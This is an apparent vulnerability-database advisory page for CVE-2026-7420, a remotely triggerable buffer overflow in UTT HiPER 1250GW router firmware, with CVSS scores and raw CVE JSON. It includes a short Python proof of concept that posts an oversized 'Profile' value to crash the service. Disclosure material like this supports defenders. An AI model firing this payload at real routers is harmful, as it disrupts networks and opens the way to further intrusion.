Security Vulnerability Report
中文
CVE-2026-7420 CVSS 8.8 HIGH

CVE-2026-7420

Published: 2026-04-29 23:16:20
Last Modified: 2026-04-30 14:52:55

Description

A security flaw has been discovered in UTT HiPER 1250GW up to 3.2.7-210907-180535. Impacted is the function strcpy of the file route/goform/ConfigAdvideo. The manipulation of the argument Profile results in buffer overflow. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

UTT HiPER 1250GW <= 3.2.7-210907-180535

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual IP) target_url = "http://192.168.1.1/route/goform/ConfigAdvideo" # Malicious payload to trigger buffer overflow in 'Profile' argument # Pattern length depends on the buffer size, typical test uses large string payload = { "Profile": "A" * 1000 # Sending 1000 'A' characters to crash the service } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=payload, timeout=5) print(f"Response status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed (possible crash or connection timeout): {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7420", "sourceIdentifier": "[email protected]", "published": "2026-04-29T23:16:20.193", "lastModified": "2026-04-30T14:52:54.847", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in UTT HiPER 1250GW up to 3.2.7-210907-180535. Impacted is the function strcpy of the file route/goform/ConfigAdvideo. The manipulation of the argument Profile results in buffer overflow. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://github.com/kirlic123/IOTvulner/blob/main/4035/5/5.md", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/803997", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360157", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360157/cti", "source": "[email protected]"}]}}